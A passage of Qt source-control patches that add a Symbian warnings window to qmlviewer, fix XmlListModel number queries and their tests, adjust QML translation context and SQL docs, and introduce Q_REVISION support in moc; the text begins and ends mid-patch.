+1000 Subject: Provide qmlviewer warning window also on Symbian Task-number: QTBUG-10800 Reviewed-by: Christopher Ham --- tools/qml/loggerwidget.cpp | 9 +++++++++ tools/qml/main.cpp | 49 ++++++++++++++++++---------------------------- tools/qml/qmlruntime.cpp | 8 +++++++- 3 files changed, 35 insertions(+), 31 deletions(-) diff --git a/tools/qml/loggerwidget.cpp b/tools/qml/loggerwidget.cpp index 8aa029f..f601d95 100644 --- a/tools/qml/loggerwidget.cpp +++ b/tools/qml/loggerwidget.cpp @@ -64,6 +64,14 @@ LoggerWidget::LoggerWidget(QWidget *parent) : m_plainTextEdit = new QPlainTextEdit(); +#if defined(Q_OS_SYMBIAN) + m_plainTextEdit->setReadOnly(true); + QAction* backAction = new QAction( tr("Back"), this ); + backAction->setSoftKeyRole( QAction::NegativeSoftKey ); + connect(backAction, SIGNAL(triggered()), this, SLOT(hide())); + addAction( backAction ); +#endif + #ifdef Q_WS_MAEMO_5 new TextEditAutoResizer(m_plainTextEdit); setAttribute(Qt::WA_Maemo5StackedWindow); @@ -74,6 +82,7 @@ LoggerWidget::LoggerWidget(QWidget *parent) : #else setCentralWidget(m_plainTextEdit); #endif + readSettings(); setupPreferencesMenu(); } diff --git a/tools/qml/main.cpp b/tools/qml/main.cpp index 2df96c0..b5a4fd0 100644 --- a/tools/qml/main.cpp +++ b/tools/qml/main.cpp @@ -72,36 +72,15 @@ void exitApp(int i) exit(i); } +QWeakPointer logger; +static QAtomicInt recursiveLock(0); + #if defined (Q_OS_SYMBIAN) #include #include #include #include - -void myMessageOutput(QtMsgType type, const char *msg) -{ - static int fd = -1; - if (fd == -1) - fd = ::open("E:\\qml.log", O_WRONLY | O_CREAT); - - ::write(fd, msg, strlen(msg)); - ::write(fd, "\n", 1); - ::fsync(fd); - - if (systemMsgOutput) - systemMsgOutput(type, msg); - - switch (type) { - case QtFatalMsg: - abort(); - } -} - -#else // !defined (Q_OS_SYMBIAN) - -QWeakPointer logger; - -static QAtomicInt recursiveLock(0); +#endif void myMessageOutput(QtMsgType type, const char *msg) { @@ -118,7 +97,21 @@ void myMessageOutput(QtMsgType type, const char *msg) warnings += QLatin1Char('\n'); } } - if (systemMsgOutput) { // Windows +#if defined (Q_OS_SYMBIAN) + static int fd = -1; + if (fd == -1) + fd = ::open("E:\\qml.log", O_WRONLY | O_CREAT); + + ::write(fd, msg, strlen(msg)); + ::write(fd, "\n", 1); + ::fsync(fd); + switch (type) { + case QtFatalMsg: + abort(); + } +#endif + + if (systemMsgOutput) { systemMsgOutput(type, msg); } else { // Unix fprintf(stderr, "%s\n", msg); @@ -126,8 +119,6 @@ void myMessageOutput(QtMsgType type, const char *msg) } } -#endif - static QDeclarativeViewer* globalViewer = 0; // The qml file that is shown if the user didn't specify a QML file @@ -472,7 +463,6 @@ static QDeclarativeViewer *createViewer() viewer->setScript(opts.script); } -#if !defined(Q_OS_SYMBIAN) logger = viewer->warningsWidget(); if (opts.warningsConfig == ShowWarnings) { logger.data()->setDefaultVisibility(LoggerWidget::ShowWarnings); @@ -480,7 +470,6 @@ static QDeclarativeViewer *createViewer() } else if (opts.warningsConfig == HideWarnings){ logger.data()->setDefaultVisibility(LoggerWidget::HideWarnings); } -#endif if (opts.experimentalGestures) viewer->enableExperimentalGestures(); diff --git a/tools/qml/qmlruntime.cpp b/tools/qml/qmlruntime.cpp index 142e4c5..b829528 100644 --- a/tools/qml/qmlruntime.cpp +++ b/tools/qml/qmlruntime.cpp @@ -742,8 +742,10 @@ void QDeclarativeViewer::createMenu() connect(slowAction, SIGNAL(triggered(bool)), this, SLOT(setSlowMode(bool))); showWarningsWindow = new QAction(tr("Show Warnings"), this); +#if !defined(Q_OS_SYMBIAN) showWarningsWindow->setCheckable((true)); showWarningsWindow->setChecked(loggerWindow->isVisible()); +#endif connect(showWarningsWindow, SIGNAL(triggered(bool)), this, SLOT(showWarnings(bool))); QAction *proxyAction = new QAction(tr("HTTP &Proxy..."), this); @@ -826,11 +828,11 @@ void QDeclarativeViewer::createMenu() QMenu *recordMenu = menu->addMenu(tr("&Recording")); recordMenu->addAction(snapshotAction); recordMenu->addAction(recordAction); +#endif // ! Q_OS_SYMBIAN QMenu *debugMenu = menu->addMenu(tr("&Debugging")); debugMenu->addAction(slowAction); debugMenu->addAction(showWarningsWindow); -#endif // ! Q_OS_SYMBIAN QMenu *settingsMenu = menu->addMenu(tr("&Settings")); settingsMenu->addAction(proxyAction); @@ -914,7 +916,11 @@ void QDeclarativeViewer::toggleFullScreen() void QDeclarativeViewer::showWarnings(bool show) { +#if defined(Q_OS_SYMBIAN) + loggerWindow->showMaximized(); +#else loggerWindow->setVisible(show); +#endif } void QDeclarativeViewer::warningsWidgetOpened() -- cgit v0.12 From 086f33dd4c70be03adcbc1703997afa27add920b Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Tue, 4 Jan 2011 15:03:53 +1000 Subject: Fix results of number() queries for zero and non-number values Use xs:string() to test whether a value is empty, instead of using a simple boolean check which fails for zero-type values. This fix also means 'NaN' is returned for non-number (including empty) values. Task-number: QTBUG-16423, QTBUG-16265 Reviewed-by: Michael Brasser --- src/declarative/util/qdeclarativexmllistmodel.cpp | 2 +- .../qdeclarativexmllistmodel/data/model2.qml | 11 ---- .../tst_qdeclarativexmllistmodel.cpp | 76 ++++++++++++++++++---- 3 files changed, 64 insertions(+), 25 deletions(-) delete mode 100644 tests/auto/declarative/qdeclarativexmllistmodel/data/model2.qml diff --git a/src/declarative/util/qdeclarativexmllistmodel.cpp b/src/declarative/util/qdeclarativexmllistmodel.cpp index 49a12b1..f5c3ad4 100644 --- a/src/declarative/util/qdeclarativexmllistmodel.cpp +++ b/src/declarative/util/qdeclarativexmllistmodel.cpp @@ -382,7 +382,7 @@ void QDeclarativeXmlQuery::doSubQueryJob() for (int i = 0; i < queries.size(); ++i) { QList resultList; if (!queries[i].isEmpty()) { - subquery.setQuery(m_prefix + QLatin1String("(let $v := ") + queries[i] + QLatin1String(" return if ($v) then ") + queries[i] + QLatin1String(" else \"\")")); + subquery.setQuery(m_prefix + QLatin1String("(let $v := string(") + queries[i] + QLatin1String(") return if ($v) then ") + queries[i] + QLatin1String(" else \"\")")); if (subquery.isValid()) { QXmlResultItems resultItems; subquery.evaluateTo(&resultItems); diff --git a/tests/auto/declarative/qdeclarativexmllistmodel/data/model2.qml b/tests/auto/declarative/qdeclarativexmllistmodel/data/model2.qml deleted file mode 100644 index e56aafa..0000000 --- a/tests/auto/declarative/qdeclarativexmllistmodel/data/model2.qml +++ /dev/null @@ -1,11 +0,0 @@ -import QtQuick 1.0 - -XmlListModel { - source: "model.xml" - query: "/Pets/Pet" - XmlRole { name: "name"; query: "name/string()" } - XmlRole { name: "type"; query: "type/string()" } - XmlRole { name: "age"; query: "age/number()" } - XmlRole { name: "size"; query: "size/string()" } - XmlRole { name: "tricks"; query: "tricks/string()" } -} diff --git a/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp b/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp index a14f942..3e81c53 100644 --- a/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp +++ b/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp @@ -38,6 +38,12 @@ ** $QT_END_LICENSE$ ** ****************************************************************************/ +#include + +#include +#include +#include + #include #include #include @@ -75,7 +81,8 @@ private slots: } void buildModel(); - void missingFields(); + void testTypes(); + void testTypes_data(); void cdata(); void attributes(); void roles(); @@ -158,27 +165,70 @@ void tst_qdeclarativexmllistmodel::buildModel() delete model; } -void tst_qdeclarativexmllistmodel::missingFields() +void tst_qdeclarativexmllistmodel::testTypes() { - QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/model2.qml")); + QFETCH(QString, xml); + QFETCH(QString, roleName); + QFETCH(QVariant, expectedValue); + + QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/testtypes.qml")); QDeclarativeXmlListModel *model = qobject_cast(component.create()); QVERIFY(model != 0); - QTRY_COMPARE(model->count(), 9); + model->setXml(xml.toUtf8()); + model->reload(); + QTRY_COMPARE(model->count(), 1); - QList roles; - roles << Qt::UserRole << Qt::UserRole + 1 << Qt::UserRole + 2 << Qt::UserRole + 3 << Qt::UserRole + 4; - QHash data = model->data(5, roles); - QVERIFY(data.count() == 5); - QCOMPARE(data.value(Qt::UserRole+3).toString(), QLatin1String("")); - QCOMPARE(data.value(Qt::UserRole+4).toString(), QLatin1String("")); + int role = -1; + foreach (int i, model->roles()) { + if (model->toString(i) == roleName) { + role = i; + break; + } + } + QVERIFY(role >= 0); - data = model->data(7, roles); - QVERIFY(data.count() == 5); - QCOMPARE(data.value(Qt::UserRole+2).toString(), QLatin1String("")); + if (expectedValue.toString() == "nan") + QVERIFY(qIsNaN(model->data(0, role).toDouble())); + else + QCOMPARE(model->data(0, role), expectedValue); delete model; } +void tst_qdeclarativexmllistmodel::testTypes_data() +{ + QTest::addColumn("xml"); + QTest::addColumn("roleName"); + QTest::addColumn("expectedValue"); + + QTest::newRow("missing string field") << "" + << "stringValue" << QVariant(""); + QTest::newRow("empty string") << "" + << "stringValue" << QVariant(""); + QTest::newRow("1-char string") << "5" + << "stringValue" << QVariant("5"); + QTest::newRow("string ok") << "abc def g" + << "stringValue" << QVariant("abc def g"); + + QTest::newRow("missing number field") << "" + << "numberValue" << QVariant(""); + double nan = qQNaN(); + QTest::newRow("empty number field") << "" + << "numberValue" << QVariant(nan); + QTest::newRow("number field with string") << "a string" + << "numberValue" << QVariant(nan); + QTest::newRow("-1") << "-1" + << "numberValue" << QVariant("-1"); + QTest::newRow("-1.5") << "-1.5" + << "numberValue" << QVariant("-1.5"); + QTest::newRow("0") << "0" + << "numberValue" << QVariant("0"); + QTest::newRow("+1") << "1" + << "numberValue" << QVariant("1"); + QTest::newRow("+1.5") << "1.5" + << "numberValue" << QVariant("1.5"); +} + void tst_qdeclarativexmllistmodel::cdata() { QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/recipes.qml")); -- cgit v0.12 From 31460847fed4bc0867c3fd78466fed32e407fafb Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Tue, 4 Jan 2011 14:21:26 +1000 Subject: Fix translation in Connections element. Provide the component's file name to the expression as the translation context. Task-number: QTBUG-10300 Reviewed-by: Martin Jones --- src/declarative/util/qdeclarativeconnections.cpp | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/src/declarative/util/qdeclarativeconnections.cpp b/src/declarative/util/qdeclarativeconnections.cpp index 15e5ac5..e102f2c 100644 --- a/src/declarative/util/qdeclarativeconnections.cpp +++ b/src/declarative/util/qdeclarativeconnections.cpp @@ -45,6 +45,7 @@ #include #include #include +#include #include #include @@ -257,7 +258,11 @@ void QDeclarativeConnections::connectSignals() if (prop.isValid() && (prop.type() & QDeclarativeProperty::SignalProperty)) { QDeclarativeBoundSignal *signal = new QDeclarativeBoundSignal(target(), prop.method(), this); - signal->setExpression(new QDeclarativeExpression(qmlContext(this), 0, script)); + QDeclarativeExpression *expression = new QDeclarativeExpression(qmlContext(this), 0, script); + QDeclarativeData *ddata = QDeclarativeData::get(this); + if (ddata && ddata->outerContext && !ddata->outerContext->url.isEmpty()) + expression->setSourceLocation(ddata->outerContext->url.toString(), ddata->lineNumber); + signal->setExpression(expression); d->boundsignals += signal; } else { if (!d->ignoreUnknownSignals) -- cgit v0.12 From 7a979f8dab64c33a7088b70ca5bff69b881ee55d Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Wed, 5 Jan 2011 10:40:47 +1000 Subject: Add clarifications to QML SQL docs. Reviewed-by: Bea Lam --- doc/src/declarative/globalobject.qdoc | 7 ++++--- src/declarative/qml/qdeclarativesqldatabase.cpp | 2 +- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/doc/src/declarative/globalobject.qdoc b/doc/src/declarative/globalobject.qdoc index ffc84f9..ef8de5e 100644 --- a/doc/src/declarative/globalobject.qdoc +++ b/doc/src/declarative/globalobject.qdoc @@ -141,8 +141,9 @@ using the Offline Storage API. \section3 db = openDatabaseSync(identifier, version, description, estimated_size, callback(db)) Returns the database identified by \e identifier. If the database does not already exist, it -is created with the properties \e description and \e estimated_size and the function \e callback -is called with the database as a parameter. +is created, and the function \e callback is called with the database as a parameter. \e description +and \e estimated_size are written to the INI file (described below), but are otherwise currently +unused. May throw exception with code property SQLException.DATABASE_ERR, or SQLException.VERSION_ERR. @@ -153,7 +154,7 @@ When a database is first created, an INI file is also created specifying its cha \row \o Name \o The name of the database passed to \c openDatabase() \row \o Version \o The version of the database passed to \c openDatabase() \row \o Description \o The description of the database passed to \c openDatabase() -\row \o EstimatedSize \o The estimated size of the database passed to \c openDatabase() +\row \o EstimatedSize \o The estimated size (in bytes) of the database passed to \c openDatabase() \row \o Driver \o Currently "QSQLITE" \endtable diff --git a/src/declarative/qml/qdeclarativesqldatabase.cpp b/src/declarative/qml/qdeclarativesqldatabase.cpp index bda02a5..a774c02 100644 --- a/src/declarative/qml/qdeclarativesqldatabase.cpp +++ b/src/declarative/qml/qdeclarativesqldatabase.cpp @@ -351,7 +351,7 @@ static QScriptValue qmlsqldatabase_read_transaction(QScriptContext *context, QSc } /* - Currently documented in doc/src/declarastive/globalobject.qdoc + Currently documented in doc/src/declarative/globalobject.qdoc */ static QScriptValue qmlsqldatabase_open_sync(QScriptContext *context, QScriptEngine *engine) { -- cgit v0.12 From 3f80a24c5d375dd173d18c2a4227301f1afba2e3 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Mon, 6 Dec 2010 14:23:47 +1000 Subject: Allow a revision to be associated with properties and methods. Allows a revision to be associated with properties via: Q_PROPERTY(int prop READ prop1 REVISION 1) Allows a revision to be associated with methods via either: public slots Q_REVISION(1): void method1(); or: public slots: Q_REVISION void method1(); Private revision() methods are added to QMetaProperty and QMetaMethod to access the revision info. This is private API for use by QML for now. Task-number: QTBUG-13451 Reviewed-by: Kent Hansen --- src/corelib/kernel/qmetaobject.cpp | 48 +++++++++++++ src/corelib/kernel/qmetaobject.h | 3 + src/corelib/kernel/qmetaobject_p.h | 6 +- src/corelib/kernel/qobjectdefs.h | 2 + src/tools/moc/generator.cpp | 36 +++++++++- src/tools/moc/generator.h | 1 + src/tools/moc/keywords.cpp | 20 ++++-- src/tools/moc/moc.cpp | 82 ++++++++++++++++++++-- src/tools/moc/moc.h | 13 +++- src/tools/moc/token.cpp | 1 + src/tools/moc/token.h | 1 + src/tools/moc/util/generate_keywords.cpp | 1 + tests/auto/moc/tst_moc.cpp | 113 +++++++++++++++++++++++++++++++ 13 files changed, 311 insertions(+), 16 deletions(-) diff --git a/src/corelib/kernel/qmetaobject.cpp b/src/corelib/kernel/qmetaobject.cpp index 9854e68..dd5f231 100644 --- a/src/corelib/kernel/qmetaobject.cpp +++ b/src/corelib/kernel/qmetaobject.cpp @@ -1369,6 +1369,25 @@ int QMetaMethod::methodIndex() const } /*! + \internal + + Returns the method revision if one was + specified by Q_REVISION, otherwise returns 0. + */ +int QMetaMethod::revision() const +{ + if (!mobj) + return 0; + if ((QMetaMethod::Access)(mobj->d.data[handle + 4] & MethodRevisioned)) { + int offset = priv(mobj->d.data)->methodData + + priv(mobj->d.data)->methodCount * 5 + + (handle - priv(mobj->d.data)->methodData) / 5; + return mobj->d.data[offset]; + } + return 0; +} + +/*! Returns the access specification of this method (private, protected, or public). @@ -2389,6 +2408,35 @@ int QMetaProperty::notifySignalIndex() const } /*! + \internal + + Returns the property revision if one was + specified by REVISION, otherwise returns 0. + */ +int QMetaProperty::revision() const +{ + if (!mobj) + return 0; + int flags = mobj->d.data[handle + 2]; + if (flags & Revisioned) { + int offset = priv(mobj->d.data)->propertyData + + priv(mobj->d.data)->propertyCount * 3 + idx; + // Revision data is placed after NOTIFY data, if present. + // Iterate through properties to discover whether we have NOTIFY signals. + for (int i = 0; i < priv(mobj->d.data)->propertyCount; ++i) { + int handle = priv(mobj->d.data)->propertyData + 3*i; + if (mobj->d.data[handle + 2] & Notify) { + offset += priv(mobj->d.data)->propertyCount; + break; + } + } + return mobj->d.data[offset]; + } else { + return 0; + } +} + +/*! Returns true if this property is writable; otherwise returns false. diff --git a/src/corelib/kernel/qmetaobject.h b/src/corelib/kernel/qmetaobject.h index b700351..1ab08ee 100644 --- a/src/corelib/kernel/qmetaobject.h +++ b/src/corelib/kernel/qmetaobject.h @@ -70,6 +70,7 @@ public: enum Attributes { Compatibility = 0x1, Cloned = 0x2, Scriptable = 0x4 }; int attributes() const; int methodIndex() const; + int revision() const; inline const QMetaObject *enclosingMetaObject() const { return mobj; } @@ -200,6 +201,8 @@ public: QMetaMethod notifySignal() const; int notifySignalIndex() const; + int revision() const; + QVariant read(const QObject *obj) const; bool write(QObject *obj, const QVariant &value) const; bool reset(QObject *obj) const; diff --git a/src/corelib/kernel/qmetaobject_p.h b/src/corelib/kernel/qmetaobject_p.h index 4a03874..7b103e2 100644 --- a/src/corelib/kernel/qmetaobject_p.h +++ b/src/corelib/kernel/qmetaobject_p.h @@ -78,7 +78,8 @@ enum PropertyFlags { ResolveEditable = 0x00080000, User = 0x00100000, ResolveUser = 0x00200000, - Notify = 0x00400000 + Notify = 0x00400000, + Revisioned = 0x00800000 }; enum MethodFlags { @@ -95,7 +96,8 @@ enum MethodFlags { MethodCompatibility = 0x10, MethodCloned = 0x20, - MethodScriptable = 0x40 + MethodScriptable = 0x40, + MethodRevisioned = 0x80 }; enum MetaObjectFlags { diff --git a/src/corelib/kernel/qobjectdefs.h b/src/corelib/kernel/qobjectdefs.h index 555a1f5..d1a8f06 100644 --- a/src/corelib/kernel/qobjectdefs.h +++ b/src/corelib/kernel/qobjectdefs.h @@ -79,6 +79,7 @@ class QString; #define Q_INTERFACES(x) #define Q_PROPERTY(text) #define Q_PRIVATE_PROPERTY(d, text) +#define Q_REVISION(v) #define Q_OVERRIDE(text) #define Q_ENUMS(x) #define Q_FLAGS(x) @@ -180,6 +181,7 @@ private: #define Q_INTERFACES(x) Q_INTERFACES(x) #define Q_PROPERTY(text) Q_PROPERTY(text) #define Q_PRIVATE_PROPERTY(d, text) Q_PRIVATE_PROPERTY(d, text) +#define Q_REVISION(v) Q_REVISION(v) #define Q_OVERRIDE(text) Q_OVERRIDE(text) #define Q_ENUMS(x) Q_ENUMS(x) #define Q_FLAGS(x) Q_FLAGS(x) diff --git a/src/tools/moc/generator.cpp b/src/tools/moc/generator.cpp index c3bbba1..ea5b474 100644 --- a/src/tools/moc/generator.cpp +++ b/src/tools/moc/generator.cpp @@ -181,10 +181,14 @@ void Generator::generateCode() int methodCount = cdef->signalList.count() + cdef->slotList.count() + cdef->methodList.count(); fprintf(out, " %4d, %4d, // methods\n", methodCount, methodCount ? index : 0); index += methodCount * 5; + if (cdef->revisionedMethods) + index += methodCount; fprintf(out, " %4d, %4d, // properties\n", cdef->propertyList.count(), cdef->propertyList.count() ? index : 0); index += cdef->propertyList.count() * 3; if(cdef->notifyableProperties) index += cdef->propertyList.count(); + if (cdef->revisionedProperties) + index += cdef->propertyList.count(); fprintf(out, " %4d, %4d, // enums/sets\n", cdef->enumList.count(), cdef->enumList.count() ? index : 0); int enumsIndex = index; @@ -217,6 +221,14 @@ void Generator::generateCode() // generateFunctions(cdef->methodList, "method", MethodMethod); +// +// Build method version arrays +// + if (cdef->revisionedMethods) { + generateFunctionRevisions(cdef->signalList, "signal"); + generateFunctionRevisions(cdef->slotList, "slot"); + generateFunctionRevisions(cdef->methodList, "method"); + } // // Build property array @@ -456,7 +468,7 @@ void Generator::generateFunctions(QList& list, const char *functype } sig += ')'; - char flags = type; + unsigned char flags = type; if (f.access == FunctionDef::Private) flags |= AccessPrivate; else if (f.access == FunctionDef::Public) @@ -475,11 +487,23 @@ void Generator::generateFunctions(QList& list, const char *functype flags |= MethodCloned; if (f.isScriptable) flags |= MethodScriptable; + if (f.revision > 0) + flags |= MethodRevisioned; fprintf(out, " %4d, %4d, %4d, %4d, 0x%02x,\n", strreg(sig), strreg(arguments), strreg(f.normalizedType), strreg(f.tag), flags); } } +void Generator::generateFunctionRevisions(QList& list, const char *functype) +{ + if (list.count()) + fprintf(out, "\n // %ss: revision\n", functype); + for (int i = 0; i < list.count(); ++i) { + const FunctionDef &f = list.at(i); + fprintf(out, " %4d,\n", f.revision); + } +} + void Generator::generateProperties() { // @@ -537,6 +561,9 @@ void Generator::generateProperties() if (p.notifyId != -1) flags |= Notify; + if (p.revision > 0) + flags |= Revisioned; + if (p.constant) flags |= Constant; if (p.final) @@ -562,6 +589,13 @@ void Generator::generateProperties() p.notifyId); } } + if (cdef->revisionedProperties) { + fprintf(out, "\n // properties: revision\n"); + for (int i = 0; i < cdef->propertyList.count(); ++i) { + const PropertyDef &p = cdef->propertyList.at(i); + fprintf(out, " %4d,\n", p.revision); + } + } } void Generator::generateEnums(int index) diff --git a/src/tools/moc/generator.h b/src/tools/moc/generator.h index fb6ad747..72b2b17 100644 --- a/src/tools/moc/generator.h +++ b/src/tools/moc/generator.h @@ -58,6 +58,7 @@ public: private: void generateClassInfos(); void generateFunctions(QList &list, const char *functype, int type); + void generateFunctionRevisions(QList& list, const char *functype); void generateEnums(int index); void generateProperties(); void generateMetacall(); diff --git a/src/tools/moc/keywords.cpp b/src/tools/moc/keywords.cpp index df1ba0d..7b84fd7 100644 --- a/src/tools/moc/keywords.cpp +++ b/src/tools/moc/keywords.cpp @@ -43,12 +43,12 @@ // DO NOT EDIT. static const short keyword_trans[][128] = { - {0,0,0,0,0,0,0,0,0,533,530,0,0,0,0,0, + {0,0,0,0,0,0,0,0,0,541,538,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, - 533,252,531,534,0,38,239,532,25,26,236,234,30,235,27,237, + 541,252,539,542,0,38,239,540,25,26,236,234,30,235,27,237, 22,22,22,22,22,22,22,22,22,22,34,41,23,39,24,43, 0,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8, - 8,21,8,8,8,8,8,8,8,8,8,31,535,32,238,8, + 8,21,8,8,8,8,8,8,8,8,8,31,543,32,238,8, 0,1,2,3,4,5,6,7,8,9,8,8,10,11,12,13, 14,8,15,16,17,18,19,20,8,8,8,36,245,37,248,0}, {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, @@ -190,7 +190,7 @@ static const short keyword_trans[][128] = { {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,42,0,0,0,28,0, - 538,538,538,538,538,538,538,538,538,538,0,0,0,0,0,0, + 546,546,546,546,546,546,546,546,546,546,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, @@ -349,7 +349,7 @@ static const short keyword_trans[][128] = { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0}, {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, - 0,0,0,0,0,0,0,0,0,0,537,0,0,0,0,536, + 0,0,0,0,0,0,0,0,0,0,545,0,0,0,0,544, 0,0,0,0,0,0,0,0,0,0,0,0,0,258,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, @@ -392,7 +392,7 @@ static const short keyword_trans[][128] = { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,439,388,378,383,364,0,448,0,0,0,0,0,358, - 370,0,0,436,0,0,0,0,0,0,0,0,0,0,0,0, + 370,0,530,436,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0}, {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, @@ -983,6 +983,14 @@ static const struct {CHARACTER, 0, 84, 528, CHARACTER}, {CHARACTER, 0, 89, 529, CHARACTER}, {Q_PRIVATE_PROPERTY_TOKEN, 0, 0, 0, CHARACTER}, + {CHARACTER, 0, 69, 531, CHARACTER}, + {CHARACTER, 0, 86, 532, CHARACTER}, + {CHARACTER, 0, 73, 533, CHARACTER}, + {CHARACTER, 0, 83, 534, CHARACTER}, + {CHARACTER, 0, 73, 535, CHARACTER}, + {CHARACTER, 0, 79, 536, CHARACTER}, + {CHARACTER, 0, 78, 537, CHARACTER}, + {Q_REVISION_TOKEN, 0, 0, 0, CHARACTER}, {NEWLINE, 0, 0, 0, NOTOKEN}, {QUOTE, 0, 0, 0, NOTOKEN}, {SINGLEQUOTE, 0, 0, 0, NOTOKEN}, diff --git a/src/tools/moc/moc.cpp b/src/tools/moc/moc.cpp index 2c24165..b8b823c 100644 --- a/src/tools/moc/moc.cpp +++ b/src/tools/moc/moc.cpp @@ -335,6 +335,23 @@ bool Moc::testFunctionAttribute(Token tok, FunctionDef *def) return false; } +bool Moc::testFunctionRevision(FunctionDef *def) +{ + if (test(Q_REVISION_TOKEN)) { + next(LPAREN); + QByteArray revision = lexemUntil(RPAREN); + revision.remove(0, 1); + revision.chop(1); + bool ok = false; + def->revision = revision.toInt(&ok); + if (!ok || def->revision < 0) + error("Invalid revision"); + return true; + } + + return false; +} + // returns false if the function should be ignored bool Moc::parseFunction(FunctionDef *def, bool inMacro) { @@ -342,7 +359,7 @@ bool Moc::parseFunction(FunctionDef *def, bool inMacro) //skip modifiers and attributes while (test(INLINE) || test(STATIC) || (test(VIRTUAL) && (def->isVirtual = true)) //mark as virtual - || testFunctionAttribute(def)) {} + || testFunctionAttribute(def) || testFunctionRevision(def)) {} bool templateFunction = (lookup() == TEMPLATE); def->type = parseType(); if (def->type.name.isEmpty()) { @@ -433,7 +450,7 @@ bool Moc::parseMaybeFunction(const ClassDef *cdef, FunctionDef *def) //skip modifiers and attributes while (test(EXPLICIT) || test(INLINE) || test(STATIC) || (test(VIRTUAL) && (def->isVirtual = true)) //mark as virtual - || testFunctionAttribute(def)) {} + || testFunctionAttribute(def) || testFunctionRevision(def)) {} bool tilde = test(TILDE); def->type = parseType(); if (def->type.name.isEmpty()) @@ -694,6 +711,8 @@ void Moc::parse() funcDef.arguments.removeLast(); def.slotList += funcDef; } + if (funcDef.revision > 0) + ++def.revisionedMethods; } else if (funcDef.isSignal) { def.signalList += funcDef; while (funcDef.arguments.size() > 0 && funcDef.arguments.last().isDefault) { @@ -701,6 +720,8 @@ void Moc::parse() funcDef.arguments.removeLast(); def.signalList += funcDef; } + if (funcDef.revision > 0) + ++def.revisionedMethods; } else if (funcDef.isInvokable) { def.methodList += funcDef; while (funcDef.arguments.size() > 0 && funcDef.arguments.last().isDefault) { @@ -708,6 +729,8 @@ void Moc::parse() funcDef.arguments.removeLast(); def.methodList += funcDef; } + if (funcDef.revision > 0) + ++def.revisionedMethods; } } } else { @@ -806,6 +829,18 @@ QList Moc::generate(bool ignoreProperties) void Moc::parseSlots(ClassDef *def, FunctionDef::Access access) { + int defaultRevision = -1; + if (test(Q_REVISION_TOKEN)) { + next(LPAREN); + QByteArray revision = lexemUntil(RPAREN); + revision.remove(0, 1); + revision.chop(1); + bool ok = false; + defaultRevision = revision.toInt(&ok); + if (!ok || defaultRevision < 0) + error("Invalid revision"); + } + next(COLON); while (inClass(def) && hasNext()) { switch (next()) { @@ -831,6 +866,12 @@ void Moc::parseSlots(ClassDef *def, FunctionDef::Access access) funcDef.access = access; if (!parseFunction(&funcDef)) continue; + if (funcDef.revision > 0) { + ++def->revisionedMethods; + } else if (defaultRevision != -1) { + funcDef.revision = defaultRevision; + ++def->revisionedMethods; + } def->slotList += funcDef; while (funcDef.arguments.size() > 0 && funcDef.arguments.last().isDefault) { funcDef.wasCloned = true; @@ -842,6 +883,18 @@ void Moc::parseSlots(ClassDef *def, FunctionDef::Access access) void Moc::parseSignals(ClassDef *def) { + int defaultRevision = -1; + if (test(Q_REVISION_TOKEN)) { + next(LPAREN); + QByteArray revision = lexemUntil(RPAREN); + revision.remove(0, 1); + revision.chop(1); + bool ok = false; + defaultRevision = revision.toInt(&ok); + if (!ok || defaultRevision < 0) + error("Invalid revision"); + } + next(COLON); while (inClass(def) && hasNext()) { switch (next()) { @@ -869,6 +922,12 @@ void Moc::parseSignals(ClassDef *def) warning("Signals cannot be declared virtual"); if (funcDef.inlineCode) error("Not a signal declaration"); + if (funcDef.revision > 0) { + ++def->revisionedMethods; + } else if (defaultRevision != -1) { + funcDef.revision = defaultRevision; + ++def->revisionedMethods; + } def->signalList += funcDef; while (funcDef.arguments.size() > 0 && funcDef.arguments.last().isDefault) { funcDef.wasCloned = true; @@ -911,7 +970,6 @@ void Moc::createPropertyDef(PropertyDef &propDef) propDef.name = lexem(); while (test(IDENTIFIER)) { QByteArray l = lexem(); - if (l[0] == 'C' && l == "CONSTANT") { propDef.constant = true; continue; @@ -923,6 +981,10 @@ void Moc::createPropertyDef(PropertyDef &propDef) QByteArray v, v2; if (test(LPAREN)) { v = lexemUntil(RPAREN); + } else if (test(INTEGER_LITERAL)) { + v = lexem(); + if (l != "REVISION") + error(1); } else { next(IDENTIFIER); v = lexem(); @@ -937,7 +999,12 @@ void Moc::createPropertyDef(PropertyDef &propDef) propDef.read = v; else if (l == "RESET") propDef.reset = v + v2; - else + else if (l == "REVISION") { + bool ok = false; + propDef.revision = v.toInt(&ok); + if 